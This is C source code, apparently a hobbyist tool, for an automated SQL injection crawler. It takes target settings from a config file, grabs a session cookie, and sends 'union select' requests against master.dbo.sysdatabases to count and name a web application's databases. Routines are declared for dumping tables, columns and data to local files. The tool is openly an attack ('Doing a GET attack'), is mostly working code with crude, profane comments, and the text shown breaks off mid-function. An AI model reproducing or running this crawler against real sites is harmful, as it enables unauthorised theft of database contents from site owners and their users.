./c0de/c/sqlcrawl.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
399.
400.
401.
402.
403.
404.
405.
406.
407.
408.
409.
410.
411.
412.
413.
414.
415.
416.
417.
418.
419.
420.
421.
422.
423.
424.
425.
426.
427.
428.
429.
430.
431.
432.
433.
434.
435.
436.
437.
438.
439.
440.
441.
442.
443.
444.
445.
446.
447.
448.
449.
450.
451.
452.
453.
454.
455.
456.
457.
458.
459.
460.
461.
462.
463.
464.
465.
466.
467.
468.
469.
470.
471.
472.
473.
474.
475.
476.
477.
478.
479.
480.
481.
482.
483.
484.
485.
486.
487.
488.
489.
490.
491.
492.
493.
494.
495.
496.
497.
498.
499.
500.
501.
502.
503.
504.
505.
506.
507.
508.
509.
510.
511.
512.
513.
514.
515.
516.
517.
518.
519.
520.
521.
522.
523.
524.
525.
526.
527.
528.
529.
530.
531.
532.
533.
534.
535.
536.
537.
538.
539.
540.
541.
542.
543.
544.
545.
546.
547.
548.
549.
550.
551.
552.
553.
554.
555.
556.
557.
558.
559.
560.
561.
562.
563.
564.
565.
566.
567.
568.
569.
570.
571.
572.
573.
574.
575.
576.
577.
578.
579.
580.
581.
582.
583.
584.
585.
586.
587.
588.
589.
590.
591.
592.
593.
594.
595.
596.
597.
598.
599.
600.
601.
602.
603.
604.
605.
606.
607.
608.
609.
610.
611.
612.
613.
614.
615.
616.
617.
618.
619.
620.
621.
622.
623.
624.
625.
626.
627.
628.
629.
630.
631.
632.
633.
634.
635.
636.
637.
638.
639.
640.
641.
642.
643.
644.
645.
646.
647.
648.
649.
650.
651.
652.
653.
654.
655.
656.
657.
658.
659.
660.
661.
662.
663.
664.
665.
666.
667.
668.
669.
670.
671.
672.
673.
674.
675.
676.
677.
678.
679.
680.
681.
682.
683.
684.
685.
686.
687.
688.
689.
690.
691.
692.
693.
694.
695.
696.
697.
698.
699.
700.
701.
702.
703.
704.
705.
706.
707.
708.
709.
710.
711.
712.
713.
714.
715.
716.
717.
718.
719.
720.
721.
722.
723.
724.
725.
726.
727.
728.
729.
730.
731.
732.
733.
734.
735.
736.
737.
738.
739.
740.
741.
742.
743.
744.
745.
746.
747.
748.
749.
750.
751.
752.
753.
754.
755.
756.
757.
758.
759.
760.
761.
762.
763.
764.
765.
766.
767.
768.
769.
770.
771.
772.
773.
774.
775.
776.
777.
778.
779.
780.
781.
782.
783.
784.
785.
786.
787.
788.
789.
790.
791.
792.
793.
794.
795.
796.
797.
798.
799.
800.
801.
802.
803.
804.
805.
806.
807.
808.
809.
810.
811.
812.
813.
814.
815.
816.
817.
818.
819.
820.
821.
822.
823.
824.
825.
826.
827.
828.
829.
830.
831.
832.
833.
834.
835.
836.
837.
838.
839.
840.
841.
842.
843.
844.
845.
846.
847.
848.
849.
850.
851.
852.
853.
854.
855.
856.
857.
858.
859.
860.
861.
862.
863.
864.
865.
866.
867.
868.
869.
870.
871.
872.
873.
874.
875.
876.
877.
878.
879.
880.
881.
882.
883.
884.
885.
886.
887.
888.
889.
890.
891.
892.
893.
894.
895.
896.
897.
898.
899.
900.
901.
902.
903.
904.
905.
906.
907.
908.
909.
910.
911.
912.
913.
914.
915.
916.
917.
918.
919.
920.
921.
922.
923.
924.
925.
926.
927.
928.
929.
930.
931.
932.
933.
934.
935.
936.
937.
938.
939.
940.
941.
942.
943.
944.
945.
946.
947.
948.
949.
950.
951.
952.
953.
954.
955.
956.
957.
958.
959.
960.
961.
962.
963.
964.
965.
966.
967.
968.
969.
970.
971.
972.
973.
974.
975.
976.
977.
978.
979.
980.
981.
982.
983.
984.
985.
986.
987.
988.
989.
990.
991.
992.
993.
994.
995.
996.
997.
998.
999.
1000.
1001.
1002.
1003.
1004.
1005.
1006.
1007.
1008.
1009.
1010.
1011.
1012.
1013.
1014.
1015.
1016.
1017.
1018.
1019.
1020.
1021.
1022.
1023.
1024.
1025.
1026.
1027.
1028.
1029.
1030.
1031.
1032.
1033.
1034.
1035.
1036.
1037.
1038.
1039.
1040.
1041.
1042.
1043.
1044.
1045.
1046.
1047.
1048.
1049.
1050.
1051.
1052.
1053.
1054.
1055.
1056.
1057.
1058.
1059.
1060.
1061.
1062.
1063.
1064.
1065.
1066.
1067.
1068.
1069.
1070.
1071.
1072.
1073.
1074.
1075.
1076.
1077.
1078.
1079.
1080.
1081.
1082.
1083.
1084.
1085.
1086.
1087.
1088.
1089.
1090.
1091.
1092.
1093.
1094.
1095.
1096.
1097.
1098.
1099.
1100.
1101.
1102.
1103.
1104.
1105.
1106.
1107.
1108.
1109.
1110.
1111.
1112.
1113.
1114.
1115.
1116.
1117.
1118.
1119.
1120.
1121.
1122.
1123.
1124.
1125.
1126.
1127.
1128.
1129.
1130.
1131.
1132.
1133.
1134.
1135.
1136.
1137.
1138.
1139.
1140.
1141.
1142.
1143.
1144.
1145.
1146.
1147.
1148.
1149.
1150.
1151.
1152.
1153.
1154.
1155.
1156.
1157.
1158.
1159.
1160.
1161.
1162.
1163.
1164.
1165.
1166.
1167.
1168.
1169.
1170.
1171.
1172.
1173.
1174.
1175.
1176.
1177.
1178.
1179.
1180.
1181.
1182.
1183.
1184.
1185.
1186.
1187.
1188.
1189.
1190.
1191.
1192.
1193.
1194.
1195.
1196.
1197.
1198.
1199.
1200.
1201.
1202.
1203.
1204.
1205.
1206.
1207.
1208.
1209.
1210.
1211.
1212.
1213.
1214.
1215.
1216.
1217.
1218.
1219.
1220.
1221.
1222.
1223.
1224.
1225.
1226.
1227.
1228.
1229.
1230.
1231.
1232.
1233.
1234.
1235.
1236.
1237.
1238.
1239.
1240.
1241.
1242.
1243.
1244.
1245.
1246.
1247.
1248.
1249.
1250.
1251.
1252.
1253.
1254.
1255.
1256.
1257.
1258.
1259.
1260.
1261.
1262.
1263.
1264.
1265.
1266.
1267.
1268.
1269.
1270.
1271.
1272.
1273.
1274.
1275.
1276.
1277.
1278.
1279.
1280.
1281.
1282.
1283.
1284.
1285.
1286.
1287.
1288.
1289.
1290.
1291.
1292.
1293.
1294.
1295.
1296.
1297.
1298.
1299.
1300.
1301.
1302.
1303.
1304.
1305.
1306.
1307.
1308.
1309.
1310.
1311.
1312.
1313.
1314.
1315.
1316.
1317.
1318.
1319.
1320.
1321.
1322.
1323.
1324.
1325.
1326.
1327.
1328.
1329.
1330.
1331.
1332.
1333.
1334.
1335.
1336.
1337.
1338.
1339.
1340.
1341.
1342.
1343.
1344.
1345.
1346.
1347.
1348.
1349.
1350.
1351.
1352.
1353.
1354.
1355.
1356.
1357.
1358.
1359.
1360.
1361.
1362.
1363.
1364.
1365.
1366.
1367.
1368.
1369.
1370.
1371.
1372.
1373.
1374.
1375.
1376.
1377.
1378.
1379.
1380.
1381.
1382.
1383.
1384.
1385.
1386.
1387.
1388.
1389.
1390.
1391.
1392.
1393.
1394.
1395.
1396.
1397.
1398.
1399.
1400.
1401.
1402.
1403.
1404.
1405.
1406.
1407.
1408.
1409.
1410.
1411.
1412.
1413.
1414.
1415.
1416.
1417.
1418.
1419.
1420.
1421.
1422.
1423.
1424.
1425.
1426.
1427.
1428.
1429.
1430.
1431.
1432.
1433.
1434.
1435.
1436.
1437.
1438.
1439.
1440.
1441.
1442.
1443.
1444.
1445.
1446.
1447.
1448.
1449.
1450.
1451.
1452.
1453.
1454.
1455.
1456.
1457.
1458.
1459.
1460.
1461.
1462.
1463.
1464.
1465.
1466.
1467.
1468.
1469.
1470.
1471.
1472.
1473.
1474.
1475.
1476.
1477.
1478.
1479.
1480.
1481.
1482.
1483.
1484.
1485.
1486.
1487.
1488.
1489.
1490.
1491.
1492.
1493.
1494.
1495.
1496.
1497.
1498.
1499.
1500.
1501.
1502.
1503.
1504.
1505.
1506.
1507.
1508.
1509.
1510.
1511.
1512.
1513.
1514.
1515.
1516.
1517.
1518.
1519.
1520.
1521.
1522.
1523.
1524.
1525.
1526.
1527.
1528.
1529.
1530.
1531.
1532.
1533.
1534.
1535.
1536.
1537.
1538.
1539.
1540.
1541.
1542.
1543.
1544.
1545.
1546.
1547.
1548.
1549.
1550.
1551.
1552.
1553.
1554.
1555.
1556.
1557.
1558.
1559.
1560.
1561.
1562.
1563.
1564.
1565.
1566.
1567.
1568.
1569.
1570.
1571.
1572.
1573.
1574.
1575.
1576.
1577.
1578.
1579.
1580.
1581.
1582.
1583.
1584.
1585.
1586.
1587.
1588.
1589.
1590.
1591.
1592.
1593.
1594.
1595.
1596.
1597.
1598.
1599.
1600.
1601.
1602.
1603.
1604.
1605.
1606.
1607.
1608.
1609.
1610.
1611.
1612.
1613.
1614.
1615.
1616.
1617.
1618.
1619.
1620.
1621.
1622.
1623.
1624.
1625.
1626.
1627.
1628.
1629.
1630.
1631.
1632.
1633.
1634.
1635.
1636.
1637.
1638.
1639.
1640.
1641.
1642.
1643.
1644.
1645.
1646.
1647.
1648.
1649.
1650.
1651.
1652.
1653.
1654.
1655.
1656.
1657.
1658.
1659.
1660.
1661.
1662.
1663.
1664.
1665.
1666.
1667.
1668.
1669.
1670.
1671.
1672.
1673.
1674.
1675.
1676.
1677.
1678.
1679.
1680.
1681.
1682.
1683.
1684.
1685.
1686.
1687.
1688.
1689.
1690.
1691.
1692.
1693.
1694.
1695.
1696.
1697.
1698.
1699.
1700.
1701.
1702.
1703.
1704.
1705.
1706.
1707.
1708.
1709.
1710.
1711.
1712.
1713.
1714.
1715.
1716.
1717.
1718.
1719.
1720.
1721.
1722.
1723.
1724.
1725.
1726.
1727.
1728.
1729.
1730.
1731.
1732.
1733.
1734.
1735.
1736.
1737.
1738.
1739.
1740.
1741.
1742.
1743.
1744.
1745.
1746.
1747.
1748.
1749.
1750.
1751.
1752.
1753.
1754.
1755.
1756.
1757.
1758.
1759.
1760.
1761.
1762.
1763.
1764.
1765.
1766.
1767.
1768.
1769.
1770.
1771.
1772.
1773.
1774.
1775.
1776.
1777.
1778.
1779.
1780.
1781.
1782.
1783.
1784.
1785.
1786.
1787.
1788.
1789.
1790.
1791.
1792.
1793.
1794.
1795.
1796.
1797.
1798.
1799.
1800.
1801.
1802.
1803.
1804.
1805.
1806.
1807.
1808.
1809.
1810.
1811.
1812.
1813.
1814.
1815.
1816.
1817.
1818.
1819.
1820.
1821.
1822.
1823.
1824.
1825.
1826.
1827.
1828.
1829.
1830.
1831.
1832.
1833.
1834.
1835.
1836.
1837.
1838.
1839.
1840.
1841.
1842.
1843.
1844.
1845.
1846.
1847.
1848.
1849.
1850.
1851.
1852.
1853.
1854.
#include <stdio.h>
#include <string.h>
#include <pcre.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
 
#define OVECCOUNT 30
 
#define BUF 200
#define BIGBUF 8196
#define LARBUF 4000
 
 
FILE *cfgfile;
FILE *outfile;
 
 
struct opts {
  char url[BUF];
  char regex[60];
  char doneregex[60];
  char pog[5]; 
  char variables[60];
  char injectvar[25];
  char start[25];
  char end[25];
  int select_num;
  int postget;
  } cfgopts;
 
struct dt {
  char *data[BUF];
  unsigned long int rows;
};
 
typedef struct dt data_t;
 
struct cd {
  char *column_name[BUF];
  data_t *data;
  unsigned long int data_num;
};
 
typedef struct cd column_t;
 
struct tb {
  char *table_name[BUF];
  column_t *columns;
  unsigned long int column_num;
};
 
typedef struct tb table_t; 
 
struct db {
  char *dbname[BUF];
  table_t *tables;
  unsigned long int table_num;
};
 
typedef struct db datab_t;
unsigned long int numb_db;
 
datab_t *db;
struct sockaddr_in servaddr; 
struct sockaddr_in proxyaddr;
char *host, *phost;
int port, pport, proxy_use, debug;
 
 
int usage(int argc, char **argv);
int resolve(char *hostname);
int getconfigs(void);
int getcookie(int sockfd, int n, char *cookie, char *hostname);
int my_strntok(char *string,char *delim,char *dest, int destsize);
int stripdata(char *recvbuf, char *data_to_add);
int db_send_data(int sockfd, char *sendbuf, char *recvbuf, char *hostname, char *cookie);
int gather_dbname_get(int sockfd, int n, char *cookie, char *hostname);
int gather_tables_get(int sockfd, int n, char *cookie, char *hostname);
int gather_data_get(int sockfd, int n, char *cookie, char *hostname);
int gather_columns_get(int sockfd, int n, char *cookie, char *hostname);
int gather_tables_post(int sockfd, int n, char *cookie, char *hostname);
int check_done(char *recvbuf); 
 
int main(int argc, char **argv)
{
  int sockfd, n, i, j, d, k;
  char cookie[100];
 
  proxy_use = debug = 0;
 
  while ((d = getopt(argc, argv, "dx:t:p:")) != -1) {
        switch(d) {	
 
		case 'x':
		 	proxy_use = 1;
			phost = optarg;	
			break;
		case 't':
			pport = atoi(optarg);
			break;
		case 'p':
			port = atoi(optarg);
			break;
 		case 'd':
			debug = 1;
			break;
		case '?':
			usage(argc, argv);
 			exit(-1);
                        break;
		case ':':
			usage(argc, argv);
			exit(-1);
			break;
		default:
			usage(argc, argv);
 			exit(-1);
			break;
	}
  }
  if(!argv[optind]) {
     printf("we need a target.\n");
     usage(argc, argv);
     exit(1);
  }
 
 host = argv[optind];
 
 printf("%d\n",optind);
 printf("\"%s\"\n",argv[optind]);
 
 
  if (proxy_use == 1) {
     bzero(&proxyaddr, sizeof(proxyaddr));
     proxyaddr.sin_family = AF_INET;
     proxyaddr.sin_port = htons(pport);
     if (!resolve(phost)) {
        fprintf(stderr, "Error resolving %s\n", phost);
        exit(0);
     }
  } else {
     bzero(&servaddr, sizeof(servaddr));
     servaddr.sin_family = AF_INET;
     servaddr.sin_port = htons(port);
     if (!resolve(host)) {
        fprintf(stderr, "Error resolving %s\n", host);
        exit(0);
     }
  }
 
  if (getconfigs()) {
     fprintf(stderr,"Error in Configuration File ... Exiting\n");
     exit(4);
  }
 
  if(mkdir(host, 0700)) {
    fprintf(stderr, "Error creating directory %s Exiting\n", host);
    exit(-1);
  }
  if(chdir(host)) { 
    fprintf(stderr, "Error chdiring to %s Exiting...\n", host); 
    exit(-1);
  }
 
  if (getcookie(sockfd, n, cookie, host)) {
     fprintf(stderr,"Error getting cookie\n");
     exit(5);
  }
 
  if (cfgopts.postget == 0) {
     printf("Doing a GET attack\n");
     if (gather_dbname_get(sockfd, n, cookie, host)) {
	fprintf(stderr, "Error gathering dbname's via GET, maybe the sql.cfg is effed?\n");
 	exit(6);
     }
 
     if (gather_tables_get(sockfd, n, cookie, host)) {
        fprintf(stderr, "Error gathering tables via GET, maybe the sql.cfg is effed?\n");
        exit(7);
     }
 
     if (gather_columns_get(sockfd, n, cookie, host)) {
        fprintf(stderr, "Error gathering columns via GET, maybe the sql.cfg is effed?\n");
        exit(8);
     }
 
  for (i = 0; i <= numb_db; i++) {
      if ((char *)db[i].dbname == NULL) {
         continue;
      }
      if (strlen((char *)db[i].dbname) == 0) {
         continue;
      }
      if ((outfile = fopen((char *)db[i].dbname, "w")) == NULL) {
         fprintf(stderr, "Error creating db file: %s %d\n", db[i].dbname, i);
         exit(-1); 
      }
 
 
      if (debug == 1) { 
         printf("=========================================================================\n");
         printf("Database Name: %s\n", db[i].dbname);
      }
 
     //fprintf(outfile, "Database Name: %s\n", db[i].dbname);
 
 
      for (j = 0; j <= db[i].table_num; j++) {
          if ((char *)db[i].tables[j].table_name == NULL) {
             continue;
          }
          if (strlen((char *)db[i].tables[j].table_name) == 0) {
             continue;
          }
 
 
          if (debug == 1) {
             printf("\tTable Name: %s\n", db[i].tables[j].table_name);
          }
 
          //fprintf(outfile, "\tTable Name: %s\n", db[i].tables[j].table_name);
 
 
          for (k = 0; k <= db[i].tables[j].column_num; k++) {
               if ((char *)db[i].tables[j].columns[k].column_name == NULL) {
                  continue;
	       }
               if (strlen((char *)db[i].tables[j].columns[k].column_name) == 0) {
                  continue;
               }
               if (debug == 1) {
                  printf("\t\tColumn Name: %s\n", db[i].tables[j].columns[k].column_name);
  	       }
	       fprintf(outfile, "db[%d]: %s\ttable[%d]: %s\t\t\t\tcolumn[%d]: %s\n", i, db[i].dbname, j, db[i].tables[j].table_name, k, db[i].tables[j].columns[k].column_name);
//     fprintf(outfile, "\tColumn Name: %s\n", db[i].tables[j].columns[k].column_name);
 
          } // close columns
      }  // close tables
 
  fclose(outfile);
  } // close db's
 
 
 
     if (gather_data_get(sockfd, n, cookie, host)) {
	fprintf(stderr, "Error gathering dizata via GET, maybe YOU JUST SUCK FATTY HAHAHA\n");
        exit(8);
     }
 
  } else {
    printf("doing a POST attack\n");
    if (gather_tables_post(sockfd, n, cookie, argv[1])) {
       fprintf(stderr, "Error gathering tables via POST, maybe the sql.cfg is effed?\n");
       exit(20);
    }
  }
 
/*  for (i = 0; i <= numb_db; i++) {
      printf("=========================================================================\n");
      printf("Database Name: %s\n", db[i].dbname);
 
      for (j = 0; j <= db[i].table_num; j++) {
	  printf("--------------------------\n"); 
          printf("Num Tables: %d\n", (int)db[i].table_num);
	  if (db[i].table_num == 0) {
             m++;
             break;
          }
          printf("\tTable Name: %s\n", db[i].tables[j].table_name);
 
          for (k = 0; k <= db[i].tables[j].column_num; k++) {
               printf("Num Columns: %d\n", (int)db[i].tables[j].column_num);
	       if (db[i].tables[j].column_num == 0) {
                  o++;  
                  break;
               }
 	       printf("\t\tColumn Name: %s\n", db[i].tables[j].columns[k].column_name); 
          }
	  db[i].tables[j].column_num = o;
      }
      db[i].table_num = m;
      printf("=========================================================================\n");
  }
 
*/
 
  return(0);
}
 
 
int getconfigs(void) 
{
 
  char line[BUF], name[BUF], value[BUF];
  char *delim = "=\r\n";
  bzero(&cfgopts, sizeof(cfgopts));
 
 
  cfgfile = fopen("sql.cfg","r");
  if (cfgfile == NULL) {
     fprintf(stderr,"Error can not open sql.cfg file Aborting.\n");
     exit(-1);
  }
 
  while (fgets(line, sizeof(line), cfgfile) != NULL) 
        {
 
	if(!my_strntok(line,delim,name,BUF)) {			//moves ptr to =
		printf("fatal error in strntok :(\n");
		exit(1);
	}
	if (!my_strntok(NULL, delim, value, BUF)) {	//cp .* to eol
		printf("fatal error in strntok :(\n");
		exit(1);
	}
 
          if ( strncmp("url", name, 3) == 0 ) {
		strncpy(cfgopts.url, value, sizeof(cfgopts.url));
		printf("%s\n", cfgopts.url);
		continue;
	  }
 
  	  else if ( strncmp("gop", name, 3) == 0 ) {
		strncpy(cfgopts.pog, value, sizeof(cfgopts.pog));
		if ( strncmp("POST", value, 4) == 0) {
		   cfgopts.postget = 1;
		} else {
		   cfgopts.postget = 0;
	 	}	
		continue;
	  }
 
	  else if ( strncmp("regex", name, 5) == 0) {
		strncpy(cfgopts.regex, value, sizeof(cfgopts.regex));
	        continue;
          }
 
          else if ( strncmp("variables", name, 8) == 0 ) {
                if (strncmp("\n", value, 1)) {
		   continue;
		}
		strncpy(cfgopts.variables, value, sizeof(cfgopts.variables));
                strncat(cfgopts.variables, "=", 3);
		continue;
	  }	
 
	  else if ( strncmp("injectvar", name, 9) == 0 ) {
  		strncpy(cfgopts.injectvar, value, sizeof(cfgopts.injectvar));
		strncat(cfgopts.injectvar, "=", 3);
                continue;
  	  }
 
	  else if ( strncmp("start", name, 5) == 0 ) {
		strncpy(cfgopts.start, value, sizeof(cfgopts.start));
	 	continue;	
 	  }
 
	  else if ( strncmp("selects", name, 7) == 0 ) {
		cfgopts.select_num = atoi(value);
		continue;
	  }
 
	  else if ( strncmp("end", name, 3) == 0 ) {
		strncpy(cfgopts.end, value, sizeof(cfgopts.end));
		continue;
          }
 
          else if ( strncmp("doneregex", name, 9) == 0 ) {
		strncpy(cfgopts.doneregex, value, sizeof(cfgopts.doneregex));
	 	continue;
 
          } else {
	    fprintf(stderr,"i dunno\n");
	    return(1);
	  }
 
       }
  return(0);
}
 
 
/*********************/
/* Cookie Monster :D */
/*********************/
 
int getcookie(int sockfd, int n, char *cookie, char *hostname) 
{
 
  const char *error;
  pcre *re;
  int erroffset;
  int ovector[OVECCOUNT];
  int rc, i;
  char tmpbuf[100];
  char sendbuf[BUF], recvbuf[BIGBUF];
 
  if (proxy_use == 1) {
      snprintf(sendbuf, sizeof(sendbuf), "GET http://%s HTTP/1.0\x0d\x0aHost: %s\x0d\x0a\x0d\x0a", hostname, hostname);
 
      if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
         perror("heh socket probz");
         exit(7);
      }
 
      if (connect(sockfd, (struct sockaddr *)&proxyaddr, sizeof(proxyaddr)) < 0) {
          perror("connect issues!");
          exit(7);
      }
  } else {
      snprintf(sendbuf, sizeof(sendbuf), "GET / HTTP/1.0\x0d\x0aHost: %s\x0d\x0a\x0d\x0a", hostname);
 
      if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
          perror("heh socket probz");
          exit(7);
      }
 
      if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) {
    	 perror("heh connect issues\n");
      }
 
  }
 
  send(sockfd, sendbuf, strlen(sendbuf),0);
  recv(sockfd, recvbuf, sizeof(recvbuf),0);
 
  close(sockfd);
  re = pcre_compile(
  "Set-Cookie:\\s(.*;.*)",
  0,
  &error,
  &erroffset,
  NULL);
 
if (re == NULL)
   {
     printf("PCRE compilation failed: %s\n", error);
     return(1);
   }
 
rc = pcre_exec(
  re,
  NULL,
  recvbuf,
  (int)strlen(recvbuf),
  0,
  0,
  ovector,
  OVECCOUNT);
 
for (i = 0; i < rc; i++)
  {
  char *substring_start = recvbuf + ovector[2*i];
  int substring_length = ovector[2*i+1] - ovector[2*i];
  snprintf(tmpbuf, sizeof(tmpbuf), "%.*s", substring_length, substring_start);
  }
  memcpy(cookie, tmpbuf, sizeof(tmpbuf));  
  close(sockfd);
  return(0);
}
 
 
/*******************************/
/* gather get database names   */
/*******************************/
 
int gather_dbname_get(int sockfd, int n, char *cookie, char *hostname)
{
  char tmpbuf[BUF], tmpbuf2[BUF * 2], tmpbuf3[BUF * 2], recvbuf[BIGBUF], sendbuf[BIGBUF];
  char numbs[] = "cast(count(*)%20as%20char(15)),";
  char numb[] = "cast(count(*)%20as%20char(15))%20";
  char names[] = "name,";
  char name[] = "name%20";
  int len, x, i; 
  char *data_to_add;
  data_to_add = (char *)malloc(500);
  if (data_to_add == NULL){
     fprintf(stderr, "Error mallocing data_to_add\n");
     exit(3);
  }
  x = 0; 
  bzero(&sendbuf, sizeof(sendbuf));
  bzero(&recvbuf, sizeof(recvbuf));
  bzero(&tmpbuf, sizeof(tmpbuf));
  bzero(&tmpbuf2, sizeof(tmpbuf2));
  bzero(&tmpbuf3, sizeof(tmpbuf3));
 
 
 
  if (proxy_use == 1) {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET http://%s:%d/%s%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // since we need this for both buff's just strncpy the shizzle
     } else {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET http://%s:%d/%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, cfgopts.injectvar, cfgopts.start);
	 len = strlen(tmpbuf2);
	 strncpy(tmpbuf3, tmpbuf2, len); // heh
     }
  } else {
     if (strncmp(cfgopts.variables, "\n", 1)) { 
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s%s%s%s%%20union%%20select%%20", cfgopts.url, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
	 len = strlen(tmpbuf2);
	 strncpy(tmpbuf3, tmpbuf2, len); // heh still
     } else { 
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s%s%s%%20union%%20select%%20", cfgopts.url, cfgopts.injectvar, cfgopts.start);
 	 len = strlen(tmpbuf2);
   	 strncpy(tmpbuf3, tmpbuf2, len);
     }
  }
 
 
  /* start teh first tmpbuf cos like its different than the second one which will be used for the non-count/name, shit i fucking stopped caring */
  /****************/
 
  for (i = 1; i <= cfgopts.select_num; i++) {
 
      if (i == cfgopts.select_num) {
         len = strlen(numb);
         strncat(tmpbuf2, numb, len);
         break;
      }
 
      len = strlen(numbs);
      strncat(tmpbuf2, numbs, len);
  }
  /* so basically our buff looks like gay.asp?id=1 union select count(count(*)%20as%20char(15))%20" ... */
  /* end tmpbuf                                                                                         */
  /******************************************************************************************************/
 
 
 
 
  /* tmpbuf numero deuce HAHA DEUCE WHAT THE DEUCE? HAHAHAHA */
  for (i = 1; i <= cfgopts.select_num; i++) {
 
      if (i == cfgopts.select_num) {
	 len = strlen(name);
         strncat(tmpbuf3, name, len);
         break;
      }
 
      len = strlen(numbs);
      strncat(tmpbuf3, names, len);
  }
  /* now tmpbuf3 looks like union select name ... */
  /* heh                                          */
  /************************************************/
 
 
 
  len = strlen(tmpbuf2);
  strncpy(sendbuf, tmpbuf2, len); // copy everything from tmpbuf2 into our sendbuf (for our first request)  
 
  snprintf(tmpbuf, sizeof(tmpbuf), "from%%20master.dbo.sysdatabases"); 
 
  len = strlen(tmpbuf);
  strncat(sendbuf, tmpbuf, len); // tack the from shit onto the end of our sendbuf
 
 
  if (debug == 1) {
     printf("\n++++++++++++++++++++++++++NUMBERS+++++++++++++++++++++++++++++++++\n");
     printf("%s\n", sendbuf);
     printf("\n++++++++++++++++++++++++++NUMBERS+++++++++++++++++++++++++++++++++\n");
  }
 
  /* Make our first bloody request THANK FUCKING GOD ONLY TOOK 500 LINES OF USELESS SHIT CODE */
  db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie); 
 
  if (debug == 1) {
     printf("\n\n-------------------------RECVNUM-----------------------------------------------\n");
     printf("%s", recvbuf);
     printf("\n\n-------------------------RECVNUM-----------------------------------------------\n");
  }
 
  if (stripdata(recvbuf, data_to_add) == 1) {
      fprintf(stderr, "Error finding the number of databases\n");
      exit(2);
  }
 
  /* here we malloc the db[] to whatever we got as a return result this way we know zactly how many db's */
  numb_db = strtoul(data_to_add, NULL, 0);
  db = (datab_t *)malloc(sizeof(datab_t)*numb_db);  
  if (db == NULL) {
     fprintf(stderr, "Error mallocing db ;/\n");
     exit(3);
  }
 
  bzero(&sendbuf, sizeof(sendbuf));
  bzero(&recvbuf, sizeof(recvbuf));
 
  len = strlen(tmpbuf3); 		// member the tmpbuf3 we made? :D
  strncpy(sendbuf, tmpbuf3, len);	// now our sendbuf is setup for name type request	
 
 
 
 
  len = strlen(tmpbuf);
  strncat(sendbuf, tmpbuf, len); // tack this on again
 
  if (debug == 1) {
     printf("\n++++++++++++++++++++++++1st Name+++++++++++++++++++++++++++++++++++\n");
     printf("%s\n", sendbuf);
     printf("\n++++++++++++++++++++++++1st Name+++++++++++++++++++++++++++++++++++\n");
  }
 
  db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
  if (debug == 1) {
     printf("\n\n---------------------------1st name Results---------------------------------------------\n");
     printf("%s", recvbuf);
     printf("\n\n---------------------------1st name Results---------------------------------------------\n");
  }
  if (stripdata(recvbuf, data_to_add) == 1) {
      fprintf(stderr, "Error finding the database name\n");
      exit(2);
  } 
        memcpy(&db[0].dbname, data_to_add, BUF); // we should have our first name in db[0].dbname probably 'master'
 
	memset(data_to_add, 0, 500);
        bzero(&recvbuf, sizeof(recvbuf));
	bzero(&tmpbuf, sizeof(tmpbuf));
	bzero(&sendbuf, sizeof(sendbuf));
 
	len = strlen(tmpbuf3);
	strncat(sendbuf, tmpbuf3, len);
 
        snprintf(tmpbuf, sizeof(tmpbuf), "from%%20master.dbo.sysdatabases%%20where%%20name<>\'%s\'", db[0].dbname);
 
